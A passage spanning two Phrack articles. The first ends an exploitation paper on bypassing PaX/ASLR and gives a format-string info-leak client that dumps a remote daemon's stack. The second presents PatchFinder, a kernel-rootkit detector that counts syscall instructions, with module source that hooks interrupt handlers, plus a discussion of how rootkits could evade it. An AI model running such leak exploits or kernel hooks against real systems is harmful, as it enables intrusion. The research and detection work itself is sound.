ENOTSOCK The argument s is not a socket.

EFAULT An invalid user space address was specified for a parameter. (...)

We may want to return‑into‑write or return‑into‑any_output_function if there is no printf and no send somewhere near the original return address, but depending on the output function, it would be quite hard to perform the attack since we would have to control many of the vulnerable function parameters .

[c] The frame pointer problem and workaround

The technique also suffers from the same limitation than klog's fp overwriting [7] .

If the frame pointer register (%ebp) is used between the 'call printf' and the 'call vuln_func', the program will crash and we wont be able to call vuln_func() again . Programs like:

/* Non‑buggy passwd based authentication */

intdo_auth()

{

int len;

printf("Password: ");

fflush(stdout);

len = read(0, pass, sizeof(pass) ‑ 1);

if (len <= 0)

FATAL("read");

pass[len] = 0;

if (!verify(pass))

(...)

are not exploitable using a return into libc because 'len' will be indexed through %ebp after the read() returns . If the program is compiled without frame pointer, such a limitation does not exist .

[d] Discussion about segvguard

Segvguard is a tool coded by Nergal described in his paper [3] . In short, this tool can be used to forbid the executable relaunching if it crashed too much times . If segvguard is used, we are definitely asked to find the output function in the very near (+‑ 256 bytes) or the original return address . If segvguard is not used, we can try a two byte EIP overflow and brute force the 4 randomized bits in the high part of the second overflowed byte . This way, we'll be able to return on a farer 'call printf' instruction, increasing our chances .

‑‑‑‑‑‑‑[ 5. The code : DHagainstpax

I would like to sincerely congratulate the PaX team because they own me (who's the ingratefull pig ? ;) and because they've done the best work I have ever seen in this field since Openwall . Thanks go to theowl, klog, MaXX, Nergal, kalou and korty for discussions we had on this issue . Special thanks go to devhell labs 0 : ‑ ] Shoutouts to #fr people (dont feed the troll) . May you all guyz pray for peace .

<++> DHagainstpax/leak.c !78040134

/*

*

* Info leak code against PaX + ASLR protection .

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <signal.h>

#defineFATAL(str) { perror(str); exit(‑1); }

#definePORT_NUM666

#defineSERVER_IP"127.0.0.1"

#defineBUF_SIZ37

#defineFMT"%%%03u$08u \x9a" #defineRETREIVED_STACKSIZE20

u_intremote_stack[RETREIVED_STACKSIZE];

voidsigint_handler(int sig)

{

printf("Starting remote stack retreiving ... ");

}

intmain(int argc, char **argv)

{

charbuff[256];

struct sockaddr_inaddr;

intsock;

intlen;

u_intcnt;

u_charfmt[BUF_SIZ + 1];

if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) FATAL("socket");

bzero(&addr, sizeof(addr));

addr.sin_family = AF_INET;

addr.sin_port = htons(PORT_NUM);

addr.sin_addr.s_addr = inet_addr(SERVER_IP);

if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0) FATAL("connect");

len = read(sock, buff, sizeof(buff) ‑ 1);

buff[len] = 0;

printf("[RECEIVED FROM SERVER] *%s* \n", buff);

signal(SIGINT, sigint_handler);

printf("Connected! Press ^C to launch : ");

fflush(stdout);

pause();

for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++)

{

snprintf(fmt, sizeof(fmt), FMT, cnt);

write(sock, fmt, BUF_SIZ);

len = read(sock, buff, sizeof(buff) ‑ 1);

buff[len] = 0;

sscanf(buff, "%u", remote_stack + cnt);

}

printf("\n\nRemote stack : \n");

for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4) printf("%08X %08X %08X %08X \n",

remote_stack[cnt], remote_stack[cnt + 1], remote_stack[cnt + 2], remote_stack[cnt + 3]);

puts("");

return (0);

}

<‑‑>

<++> DHagainstpax/Makefile !d055b5f3

##

## Makefile for DHagainstpax

##

SRC1= pax_daemon.c

OBJ1= pax_daemon.o

NAM1= paxtestd

SRC2= leak.c

OBJ2= leak.o

NAM2= runit

CC= gcc

CFLAGS= ‑Wall ‑g3 #‑fomit‑frame‑pointer

OPT= $(CFLAGS)

DUMP = objdump ‑d ‑‑section='.text'

DUMP2= objdump ‑‑syms

GREP= grep

DUMPLOG= $(NAM1).asm

CHPAX= chpax ‑X

all: fclean leak vuln

vuln: $(OBJ1)

$(CC) $(OPT) $(OBJ1) ‑o $(NAM1)

@echo ""

$(CHPAX) $(NAM1)

$(DUMP) $(NAM1) > $(DUMPLOG)

@echo ""

@echo "Try to locate 'call printf' ;) 5th call above 'call verify'" @echo ""

$(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call'

@echo ""

$(DUMP2) $(NAM1) | grep printf

@echo ""

leak: $(OBJ2)

$(CC) $(OPT) $(OBJ2) ‑o $(NAM2)

clean:

rm ‑f *.o *\# \#* *~

fclean: clean

rm ‑f $(NAM1) $(NAM2)

<‑‑>

‑‑‑‑‑‑‑[ 6. References

[1] PaX homepageThe PaX team http://pageexec.virtualave.net

[2] The OpenWall projectSolar Designer http://openwall.com/linux/

[3] Advanced return‑into‑lib(c) exploitsNergal http://phrack.org/show.php?p=58&a=4

[4] Pentium refefence manual 'system programming guide' http://developer.intel.com/design/Pentium4/manuals/

[5] Bypassing stackguard and stackshieldKil3r/Bulba http://phrack.org/show.php?p=56&a=5

[6] Writing alphanumeric shellcodesrix http://phrack.org/show.php?p=57&a=15

[7] Frame pointer overwritingklog http://phrack.org/show.php?p=55&a=8

[8] Exploiting format bugsscut http://team‑teso.net/articles/formatstring/

[9] The ELFsh projectdevhell labs http://www.devhell.org/~mayhem/projects/elfsh/

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Execution path analysis

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0a of 0x12

|=‑‑‑‑‑‑=[ Execution path analysis: finding kernel based rootkits ]=‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑=[ Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> ]=‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Introduction

Over the years mankind has developed many techniques for masking presence of the attacker in the hacked system. In order to stay invisible modern backdoors modify kernel structures and code, causing that nobody can trust the kernel. Nobody, including IDS tools...

In the article I will present a technique based on counting executed instructions in some system calls, which can be used to detect various kernel rootkits. This includes programs like SucKIT or prrf (see [SUKT01] and [PALM01]) which do not modify syscall table. I will focus on Linux kernel 2.4, running on Intel 32‑bit Family processor (ia32).

Also at the end of the article the PatchFinder source code is included ‑ a proof of concept for described technique.

I am not going to explain how to write a kernel rootkit. For details I send reader to the references. However I briefly characterize known techniques so their resistance to presented detection method can be described.

‑‑[ Background

Lets take a quick look at typical kernel rootkits. Such programs must solve two problems: find a way to get into the kernel and modify the kernel in a smart way. On Linux the first task can be achieved by using Loadable Kernel Modules (LKM) or /dev/kmem device.

‑‑‑‑[ getting into the kernel

Using LKM is the easiest and most elegant way to modify the running kernel. It was probably first discussed by halflife in [HALF97]. There are many popular backdoors which use LKM (see [KNAR01], [ADOR01], [PALM01]). However this technique has a weak point ‑ LKM can be disabled on some systems.

When we do not have LKM support we can use technique, developed by Silvio Cesare, which uses /dev/kmem to access directly kernel memory (see [SILV98]). There is no easy work‑around for this method, since patching do_write_mem() function is not sufficient, as it was recently showed by Guillaume Pelat (see [MMAP02]).

‑‑‑‑[ modifying syscall table

Providing that we can write to kernel memory, we face the problem what to modify.

Many rootkits modifies syscall table in order to redirect some useful system calls like sys_read(), sys_write(), sys_getdents(), etc... For details see [HALF97] and source code of one of the popular rootkit ([KNAR01], [ADOR01]). However this method can be traced, by simply comparing current syscall table with the original one, saved after kernel creation.

When there is LKM mechanism enabled in the system, we can use simple module, which read syscall table (directly accessing kernel memory) and then puts it into the userland (due to /proc filesystem for example).

Unfortunately when LKM is not supported we can not read kernel memory reliably, since we use sys_read() or sys_mmap() to read or mmap /dev/kmem. We can not be sure that malicious code we are trying to find, does not alter sys_read()/sys_mmap() system calls.

‑‑‑‑[ modifying kernel code

Instead of changing pointers in the syscall table, malicious program can alter some code in the kernel, like system_call function. In this case analysis of syscall table would not show anything. Therefore we would like to scan scan kernel memory and check whether the code area has been modified.

It is simple to implement if there is LKM enabled. However, if we do not have LKM support, we must access kernel memory through /dev/kmem and again we face the problem of unreliable sys_read()/sys_mmap().

SucKIT (see [SUKT01]) is an example of rootkit which uses /dev/kmem to access kernel and then changing system_call code, not touching original syscall table. Although SucKIT does not alter sys_read() and sys_mmap() behavior, this feature can be added, making it impossible to detect such backdoor by conventional techniques (i.e. memory scanning through /dev/kmem)...

‑‑‑‑[ modifying other pointers

In the previous issue of Phrack palmers presented nice idea of changing some pointers in /proc filesystem (see [PALM01]). Again if our system has LKM enabled we can, at least theoretically, check all the kernel structures and find out if somebody has changed some pointers. However it could be difficult in implementation, because we have to foresee all potential places the rootkit may exploit.

With LKM disabled, we face the same problem as explained in the above paragraphs.

‑‑[ Execution path analysis (stepping the kernel)

As we can see, detection of kernel rootkits is not trivial. Of course if we have LKM support enabled we can, theoretically, scan the whole kernel memory and find the intruder. However we must be very careful in deciding what to look for. Differences in the code indicates of course that something is wrong. Although change of some data should also be treated as alarm (see prrf.o again), modifications of others structures might be result of normal kernel daily tasks.

The things become even more complicated when we disable LKM on our kernel (to be more secure:)). Then, as I have just said, we can not read kernel memory reliable, because we are not sure that sys_read() returns real bytes (so we can't read /dev/kmem). We are also not sure that sys_mmap2() fills mapped pages with correct bytes...

Lets try from other side. If somebody modified some kernel functions, it is very probable, that the number of instructions executed during some system calls (for e.g. sys_getdents() in case an attacker is trying to hide files) will be different than in the original kernel. Indeed, malicious code must perform some additional actions, like cutting off secret filenames, before returns results to userland. This implies execution of many more instructions compared to not infected system. We can measure this difference!

‑‑‑‑[ hardware stepper

The ia32 processor, can be told to work in the single‑step mode. This is achieved by setting the TF bit (mask 0x100) in EFLAGS register. In this mode processor will generate a debug exception (#DB) after every execution of the instruction.

What is happened when the #DB exception is generated? Processor stops execution of the current process and calls debug exception handler. The #DB exception handler is described by trap gate at interrupt vector 1.

In Intel's processors there is an array of 256 gates, each describing handler for a specific interrupt vector (this is probably the Intel's secret why they call this scalar numbers 'vectors'...).

For example at position 0x80 there is a gate which tells where is located handler of the 0x80 trap ‑ the Linux system call. As we all know it is generated by the process by means of the 'int 0x80' instruction. This array of 256 gates is called Interrupt Descriptor Table (IDT) and is pointed by the idtr register.

In Linux kernel, you can find this handler in arch/i386/kernel/entry.S file. It is called 'debug'. As you can see, after some not interesting operations it calls do_debug() function, which is defined in arch/i386/kernel/traps.c.

Because #DB exception is devoted not only for single stepping but to many other debugging activities, the do_debug() function is a little bit complex. However it does not matter for us. The only thing we are interested in, is that after detecting the #DB exception was caused by single stepping (TF bit) a SIGTRAP signal is sent to traced process. The process might catch this signal. So, it looks that we can do something like this, in our userland program:

volatile int traps = 0;

int trap () {

traps++;

}

main () {

...

signal (SIGTRAP, sigtrap);

xor_eflags (0x100);

/* call syscall we want to test */

read (fd, buff, sizeof (buff));

xor_eflags (0x100);

printf ("testing syscall takes %d instruction\n", traps);

}

It looks simple and elegant. However has one disadvantage ‑ it does not work as we want. In variable traps we will find only the number of instructions executed in userland. As we all know, read() is only a wrapper to 'int 0x80' instruction, which causes the processor calls 0x80 exception handler. Unfortunately the processor clears TF flag when executing 'int x' (and this instruction is causing privilege level changing).

In order to stepping the kernel, we must insert some code into it, which will be responsible for setting the TF flag for some processes. The good place to insert such code is the beginning of the 'system_call' assembler routine (defined in arch/i386/kernel/entry.S.), which is the entry for the 0x80 exception handler.

As I mentioned before the address of 'system_call' is stored in the gate located at position 0x80 in the the Interrupt Descriptor Table (IDT). Each gateway (IDT consist of 256 of them) has the following format:

struct idt_gate {

unsigned short off1;

unsigned short sel;

unsigned char none, flags;

unsigned short off2;

} __attribute__ ((packed));

The 'sel' field holds the segment selector, and in case of Linux is equal to __KERNEL_CS. The handler routine is placed at (off2<<16+off1) within the segment, and because the segments in Linux have the base 0x0, it means that it is equal to the linear address.

The fields 'none' and 'flags' are used to tell the processor about some additional info about calling the handler. See [IA32] for detail.

The idtr register, points to the beginning of IDT table (it specifies linear address, not logic as was in idt_gate):

struct idtr {

unsigned short limit;

unsigned int base;/* linear address of IDT table */

} __attribute__ ((packed));

Now we see, that it is trivial to find the address of system_call in our Linux kernel. Moreover, it is also easy to change this address to a new one. Of course we can not do it from userland. That is why we need a kernel module (see later discussion about what if we have LKM disabled), which changes the address of 0x80 handler and inserts the new code, which we use as the new system_call. And this new code may look like this:

ENTRY(PF_system_call)

pushl %ebx

movl $‑8192, %ebx

andl %esp, %ebx# %ebx <‑‑ current

testb $PT_PATCHFINDER,24(%ebx)# 24 is offset of 'ptrace' je continue_syscall

pushf

popl %ebx

orl $TF_MASK, %ebx# set TF flag

pushl %ebx

popf

continue_syscall:

popl %ebx

jmp *orig_system_call

As you can see, I decided to use 'ptrace' field within process descriptor, to indicate whether a particular process wants to be single traced. After setting the TF flag, the original system_call handler is executed, it calls specific sys_xxx() function and then returns the execution to the userland by means of the 'iret' instruction. Until the 'iret' every single instruction is traced.

Of course we have to also provide our #DB handler, to account all this instructions (this will replace the system's one):

ENTRY(PF_debug)

incl PF_traps

iret

The PF_traps variable is placed somewhere in the kernel during module loading.

To be complete, we also need to add a new system call, which can be called from the userland to set the PT_PATCHFINDER flag in current process descriptor's 'ptrace' variable, to reset or return the counter value.

asmlinkage int sys_patchfinder (int what) {

struct task_struct *tsk = current;

switch (what) {

case PF_START:

tsk‑>ptrace |= PT_PATCHFINDER;

PF_traps = 0;

break;

case PF_GET:

tsk‑>ptrace &= ~PT_PATCHFINDER;

break;

case PF_QUERY:

return PF_ANSWER;

default:

printk ("I don't know what to do!\n");

return ‑1;

}

return PF_traps;

}

In this way we changed the kernel, so it can measure how many instructions each system call takes to execute. See module.c in attached sources for more details.

‑‑‑‑[ the tests

Having the kernel which allows us to counter instructions in any system call, we face the problem what to measure. Which kernel functions should we check?

To answer this question we should think what is the main task of every rootkit? Well, its job is to hide presence of attacker's process/files/connections in the rooted system. And those things should be hidden from such tools like ls, ps, netstat etc. These programs collect the system information through some well known system calls.

Even if backdoor does not touch syscall directly, like prrf.o, it modifies some kernel functions which are activated by one of the system call. The problem lies in the fact, that these modified functions does not have to be executed during every system call. For example if we modify only some pointer to reading functions in procfs, then attacker's code will be executed only when read() is called in order to read some specific file, like /proc/net/tcp.

It complicates detection a little, since we have to measure execution time of particular system call with different arguments. For example we test sys_read() by reading "/etc/passwd", "/dev/kmem" and "/proc/net/tcp" (i.e. reading regular file, device and pseudo proc‑file).

We do not test all system calls (about 230) because we assume that some routine tasks every backdoor should do, like hiding processes or files, will use only some little subset of syscalls.

The tests included in PatchFinder, are defined in tests.c file. The following one is trying to find out if somebody is hiding some processes and/or files in the procfs:

int test_readdir_proc () {

int fd, T = 0;

struct dirent de[1];

fd = open ("/proc", 0, 0);

assert (fd>0);

patchfinder (PF_START);

getdents (fd, de, sizeof (de));

T = patchfinder (PF_GET);

close (fd);

return T;

}

Of course it is trivial to add a new test if necessary. There is however, one problem: false positives. Linux kernel is a complex program, and most of the system calls have many if‑then clauses which means different patch are executed depending on many factors. These includes caches and 'internal state of the system', which can be for e.g. a number of open TCP connections. All of this causes that sometime you may see that more (or less) instructions are executed. Typically this differences are less then 10, but in some tests (like writing to the file) it may be even 200!.

This could be minimizing by increasing the number of iteration each test is taken. If you see that reading "proc/net/tcp" takes longer try to reset the TCP connections and repeat the tests. However if the differences are significant (i.e. more then 600 instructions) it is very probably that somebody has patched your kernel.

But even then you must be very careful, because this differences may be caused by some new modules you have loaded recently, possibly unconscious.

‑‑[ The PatchFinder

Now the time has came to show the working program. A proof of concept is attached at the end of this article. I call it PatchFinder. It consist of two parts ‑ a module which patches the kernel so that it allows to debug syscalls, and a userland program which makes the tests and shows the results. At first you must generate a file with test results taken on the clear system, i.e. generated after you installed a new kernel. Then you can check your system any time you want, just remember to insert a patchfinder.o module before you make the test. After the test you should remove the module. Remember that it replaces the Linux's native debug exception handler!

The results on clear system may look like this (observe the little differences in 'diff' column):

test name | current | clear | diff | status

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

open_file | 1401| 1400| 1| ok

stat_file | 1200| 1200| 0| ok

read_file | 1825| 1824| 1| ok

open_kmem | 1440| 1440| 0| ok readdir_root | 5784| 5774| 10| ok readdir_proc | 2296| 2295| 1| ok read_proc_net_tcp | 11069| 11069| 0| ok lseek_kmem | 191| 191| 0| ok

read_kmem | 322| 321| 1| ok

The tests on the same system, done when there was a adore loaded shows the following:

test name | current | clear | diff | status

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

open_file | 6975| 1400| 5575| ALERT! stat_file | 6900| 1200| 5700| ALERT! read_file | 1824| 1824| 0| ok

open_kmem | 6952| 1440| 5512| ALERT! readdir_root | 8811| 5774| 3037| ALERT! readdir_proc | 14243| 2295| 11948| ALERT! read_proc_net_tcp | 11063| 11069| ‑6| ok lseek_kmem | 191| 191| 0| ok

read_kmem | 321| 321| 0| ok

Everything will be clear when you analyze adore source code :). Similar results can be obtained for other popular rootkits like knark or palmers' prrf.o (please note that the prrf.o does not change the syscall table directly).

The funny thing happens when you try to check the kernel which was backdoored by SucKIT. You should see something like this:

‑‑‑== ALERT! ==‑‑

It seems that module patchfinder.o is not loaded. However if you are sure that it is loaded, then this situation means that with your kernel is something wrong! Probably there is a rootkit installed!

This is caused by the fact that SucKIT copies original syscall table into new position, changes it in the fashion like knark or adore, and then alters the address of syscall table in the system_call code so that it points to this new copy of the syscall table. Because this copied syscall table does not contain a patchfinder system call (patchfinder's module is inserted just before the tests), the testing program is unable to speak with the module and thinks it is not loaded. Of course this situation easy betrays that something is wrong with the kernel (or that you forgot to load the module:)).

Note, that if patchfinder.o is loaded you can not start SucKIT. This is due its installation method which assumes how the system_call's binary code should look like. SucKIT is very surprised seeing PS_system_call instead of original Linux 0x80 handler...

There is one more thing to explain. The testing program, before the beginning of the tests, sets SCHED_FIFO scheduling policy with the highest rt_priority. In fact, during the tests, only the patchfinder's process has CPU (only hardware interrupts are serviced) and is never preempted, until it finishes the tests. There are three reasons for such approach.

TF bit is set at the beginning of the system_call, and is cleared when the 'iret' instruction is executed at the end of the exception handler. During the time the TF bit is set, sys_xxx() is called, but after this some scheduling related stuff is also executed, which can lead to process switch. This is not good, because it causes more instruction to be executed (in the kernel, we do not care about instructions executed in the switched process of course).

There is also a more important issue. I observed that, when I allow process switching with TF bit set, it may cause processor restart(!) after a few hundred switches. I did not found any explanation of such behavior. The following problem does not occur when SET_SCHED is set.

The third reason to use realtime policy is to guarantee system state as stable as possible. For example if our test was run in parallel with some process which opens and reads lots of files (like grep), this could affect some tests connected with sys_open()/sys_read().

The only disadvantage of such approach is that your system is inaccessible during the tests. However it does not take long since a typical test session (depending on the number of iterations per each test) takes less then 15 seconds to complete.

And a technical detail: attached source code is using LKM to install described kernel extensions. At the beginning of the article I have said, that on some systems LKM is not compiled into the kernel. We can use only /dev/kmem. I also said that we can not relay on /dev/kmem since we are using syscalls to access it. However it should not be a problem for tool like patchfinder, because if rootkit will disturb in loading of our extensions we should see that the testing program is not working. See also discussion in the next section.

‑‑[ Cheating & hardening patchfinder program

Now I will try to discuss a possible methods of compromising presented method in general and attached patchfinder program in particular. I will also try to show how to defend against such attacks, describing the properties of the next generation patchfinder...

The first thing a malicious code can do is to check if it is traced. It may simply execute:

pushf

popl %ebx

testb $0x100, %ebx

jne i_am_traced

# contine executing

...

i_am_traced:

# deinstall for

# a moment

...

When malicious code realize that it is traced it may uninstall itself from the specific syscall. However, before that, it will settle in the timer interrupt handler, so after for e.g. 1 minute it will back to that syscall.

How to defend such trick? Well, remember that we (i.e. patchfinder) are tracing the code all the time. So the debug handler (which is provided by us) can detect that 'pushf' instruction has been just executed. Then it may alter the 'eflags' saved on the stack (by just executed 'pushf'), so that for the traced process it looks like the TF flags was cleared.

I do not see at the moment any other general attack against execution trace analysis. However, there are possibilities of cheating a specific implementation, like patchfinder, which I am going to discuss now.

The attacker can alter sys_write() and check if process named 'patchfinder' is trying to write a specific line to stdout ‑ a line with some test result. Then it will change the write()'s buffer and user will see faked results. Similar, the rootkit may realized that a file with clear system characteristic is to be read and change the buffer returned from sys_read(), so the patchfinder will get false references.

Moreover, when patchfinder uses a fixed number for its system call, the malicious rootkit can change the results returned by that system call and in result cheat testing process about the number of instruction executed.

We can defend against such attacks, by causing that on each system patchfinder's executable will get different name and also by encrypting the file with clear system's characteristics. More over we should use different numbers for patchfinder's system call. The rootkit could easily trace the patchfinder's process by seeing that it calls specific system call.

We are not limited to only to empty system calls, since we can replace any existing system call and first check if some magic numbers are in arguments. In case there is no magic arguments we simply call original sys_xxx().

Although using random number for patchfinder's syscall we makes it a little bit harder for the rootkit to cheat the results returned to the patchfinder process, it is still possible for the malicious code to find out which syscall is being used. It can be achieved by pattern searching for the specific binary instruction. This will be easy since attacker knows everything about the source code (and binary) of the patchfinder program.

Another method can exploit the fact that patchfinder marks a process to be traced in some specific way (i.e. setting a bit in 'ptrace' field of the process descriptor). Malicious rootkit can replace the system_call routine with its own version. This new version will check if the process is marked by patchfinder and then it will use original syscall table. If it is not marked by testing process another syscall table will be used (which has some sys_xxx() functions replaced). It will be hard for the #DB exception handler to find out whether the rootkit is trying to check for e.g. the 'ptrace' field, since the code doing this can have many forms.

The debug exception handler's code can also betrays where is located the counter variable (PF_traps) in memory. Knowing this address, smart rootkit can decrease this variable at the end of its 'operational' code, by the number of instructions in this additional code.

The only remedy I can see for the above weaknesses can be strong polymorphism. The idea is to add a polymorphic code generator to the patchfinder distribution which, for every system it is installed on, will create a different binary images for patchfinder's kernel code. This generation could be based on some passphrase the administrator will provide at the installation time.

I have not yet implemented polymorphic approach, but it looks promising...

‑‑[ Another solutions

The presented technique is a proposition of general approach to detect kernel based rootkits. The main problem in such actions is that we want to use kernel to help us detect malicious code which has the full control of our kernel. In fact we can not trust the kernel, but on the other hand want to get some reliable information form it.

Debugging the execution path of the system calls is probably not the only one solution to this problem. Before I have implemented patchfinder, I had been working on another technique, which tries to exploit differences in the execution time of some system calls. The tests were actually the same as those which are included with patchfinder. However, I have been using processor 'rdtsc' instruction to calculate how many cycles a given piece of code has been executed. It worked well on processor up to 500Mhz. Unfortunately when I tried the program on 1GHz processor I noted that the execution time of the same code can be very different from one test to another. The variation was too big, causing lots of false positives. And the differences was not caused by the multitasking environment as you may think, but lays deeply in the micro‑architecture of the modern processors. As Andy Glew explained me, these beasties have tendencies to stabilizes the execution time on one of the possible state, depending on the initial conditions. I have no idea how to cause the initial state to be the same for each tests or even to explore the whole space of theses initial states. Therefore I switched to stepping the code by the hardware debugger. However the method of measuring the times of syscall could be very elegant... If it was working. Special thanks to Marcin Szymanek for initial idea about this timing‑based method.

Although it can be (possibly) many techniques of finding rootkits in the kernel, it seems that the general approach should exploit polymorphism, as it is probably the only way to get reliable information from the compromised kernel.

‑‑[ Credits

Thanks to software.com.pl for allowing me to test the program on different processors.

‑‑[ References

[HALF97] halflife, "Abuse of the Linux Kernel for Fun and Profit", Phrack 50, 1997.

[KNAR01] Cyberwinds, "Knark‑2.4.3" (Knark 0.59 ported to Linux 2.4), 2001.

[ADOR01] Stealth, "Adore v0.42", http://spider.scorpions.net/~stealth, 2001.

[SILV98] Silvio Cesare, "Runtime kernel kmem patching", http://www.big.net.au/~silvio, 1998.

[SUKT01] sd, devik, "Linux on‑the‑fly kernel patching without LKM" (SucKIT source code), Phrack 58, 2001.

[PALM01] palmers, "Sub proc_root Quando Sumus (Advances in Kernel Hacking)" (prrf source code), Phrack 58, 2001.

[MMAP02] Guillaume Pelat, "Grsecurity problem ‑ modifying 'read‑only kernel'", http://securityfocus.com/archive/1/273002, 2002.

[IA32] "IA‑32 Intel Architecture Software Developer's Manual", vol. 1‑3, www.intel.com, 2001.

‑‑[ Appendix: PatchFinder source code

This is the PatchFinder, the proof of concept of the described technique. It does not implement polymorphisms. The LKM support is need in order to run this program. If, during test you notice strange actions (like system Oops) this probably means that somebody rooted your system. On the other hand it could be my bug... And remember to remove the patchfinder's module after the tests.

<++> ./patchfinder/Makefile

MODULE_NAME=patchfinder.o

PROG_NAME=patchfinder

all: $(MODULE_NAME) $(PROG_NAME)

$(MODULE_NAME) : module.o traps.o

ld ‑r ‑o $(MODULE_NAME) module.o traps.o

module.o : module.c module.h

gcc ‑c module.c ‑I /usr/src/linux/include

traps.o : traps.S module.h

gcc ‑D__ASSEMBLY__ ‑c traps.S

$(PROG_NAME): main.o tests.o libpf.o

gcc ‑o $(PROG_NAME) main.o tests.o libpf.o

main.o: main.c main.h

gcc ‑c main.c ‑D MODULE_NAME='"$(MODULE_NAME)"'\

‑D PROG_NAME='"$(PROG_NAME)"'

tests.o: tests.c main.h

libpf.o: libpf.c libpf.h

clean:

rm ‑fr *.o $(PROG_NAME)

<‑‑> ./patchfinder/Makefile

<++> ./patchfinder/traps.S

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#include <linux/linkage.h>

#define __KERNEL__

#include "module.h"

tsk_ptrace = 24 # offset into the task_struct

ENTRY(PF_system_call)

pushl %ebx

movl $‑8192, %ebx

andl %esp, %ebx# %ebx <‑‑ current

testb $PT_PATCHFINDER,tsk_ptrace(%ebx)

je continue_syscall

pushf

popl %ebx

orl $TF_MASK, %ebx# set TF flag

pushl %ebx

popf

continue_syscall:

popl %ebx

jmp *orig_system_call

ENTRY(PF_debug)

incl PF_traps

iret

<‑‑> ./patchfinder/traps.S

<++> ./patchfinder/module.h

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#ifndef __MODULE_H

#define __MODULE_H

#define PT_PATCHFINDER0x80/* should not conflict with PT_xxx

defined in linux/sched.h */

#define TF_MASK0x100/* TF mask in EFLAGS */

#define SYSCALL_VECTOR0x80

#define DEBUG_VECTOR0x1

#define PF_START0xfee

#define PF_GET0xfed

#define PF_QUERY0xdefaced

#define PF_ANSWER0xaccede

#define __NR_patchfinder 250

#endif

<‑‑> ./patchfinder/module.h

<++> ./patchfinder/module.c

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#define MODULE

#define __KERNEL__

#ifdef MODVERSIONS

#include <linux/modversions.h>

#endif

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/sched.h>

#include "module.h"

#define DEBUG 1

MODULE_AUTHOR("Jan Rutkowski");

MODULE_DESCRIPTION("The PatchFinder module");

asmlinkage int PF_system_call(void);

asmlinkage int PF_debug (void);

int (*orig_system_call)();

int (*orig_debug)();

int (*orig_syscall)(unsigned int);

extern void *sys_call_table[];

int PF_traps;

/* this one comes from arch/i386/kernel/traps.c */

#define _set_gate(gate_addr,type,dpl,addr) \

do { \

int __d0, __d1; \

__asm__ __volatile__ ("movw %%dx,%%ax\n\t" \

"movw %4,%%dx\n\t" \

"movl %%eax,%0\n\t" \

"movl %%edx,%1" \

:"=m" (*((long *) (gate_addr))), \

"=m" (*(1+(long *) (gate_addr))), "=&a" (__d0), "=&d" (__d1) \ :"i" ((short) (0x8000+(dpl<<13)+(type<<8))), \

"3" ((char *) (addr)),"2" (__KERNEL_CS << 16)); \

} while (0)

struct idt_gate {

unsigned short off1;

unsigned short sel;

unsigned char none, flags;

unsigned short off2;

} __attribute__ ((packed));

struct idtr {

unsigned short limit;

unsigned int base;

} __attribute__ ((packed));

struct idt_gate * get_idt () {

struct idtr idtr;

asm("sidt %0" : "=m" (idtr));

return (struct idt_gate*) idtr.base;

}

void * get_int_handler (int n) {

struct idt_gate * idt_gate = (get_idt() + n);

return (void*)((idt_gate‑>off2 << 16) + idt_gate‑>off1);

}

static void set_system_gate(unsigned int n, void *addr) { printk ("setting int for int %d ‑> %#x\n", n, addr); _set_gate(get_idt()+n,15,3,addr);

}

asmlinkage int sys_patchfinder (int what) {

struct task_struct *tsk = current;

switch (what) {

case PF_START:

tsk‑>ptrace |= PT_PATCHFINDER;

PF_traps = 0;

break;

case PF_GET:

tsk‑>ptrace &= ~PT_PATCHFINDER;

break;

case PF_QUERY:

return PF_ANSWER;

default:

printk ("I don't know what to do!\n");

return ‑1;

}

return PF_traps;

}

int init_module () {

EXPORT_NO_SYMBOLS;

orig_system_call = get_int_handler (SYSCALL_VECTOR); set_system_gate (SYSCALL_VECTOR, &PF_system_call);

orig_debug = get_int_handler (DEBUG_VECTOR);

set_system_gate (DEBUG_VECTOR, &PF_debug);

orig_syscall = sys_call_table[__NR_patchfinder]; sys_call_table [__NR_patchfinder] = sys_patchfinder;

printk ("Kernel PatchFinder has been succesfully"

"inserted into your kernel!\n");

#ifdef DEBUG

printk (" orig_system_call : %#x\n", orig_system_call); printk (" PF_system_calli : %#x\n", PF_system_call);

printk (" orig_debug : %#x\n", orig_debug);

printk (" PF_debug : %#x\n", PF_debug);

printk (" using syscall : %d\n", __NR_patchfinder);

#endif

return 0;

}

int cleanup_module () {

set_system_gate (SYSCALL_VECTOR, orig_system_call); set_system_gate (DEBUG_VECTOR, orig_debug);

sys_call_table [__NR_patchfinder] = orig_syscall;

printk ("PF module safely removed.\n");

return 0;

}

<‑‑> ./patchfinder/module.c

<++> ./patchfinder/main.h

/*

/* The Kernel PatchFinder version 0.9 */

/*

/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl> */

/*

#ifndef __MAIN_H

#define __MAIN_H

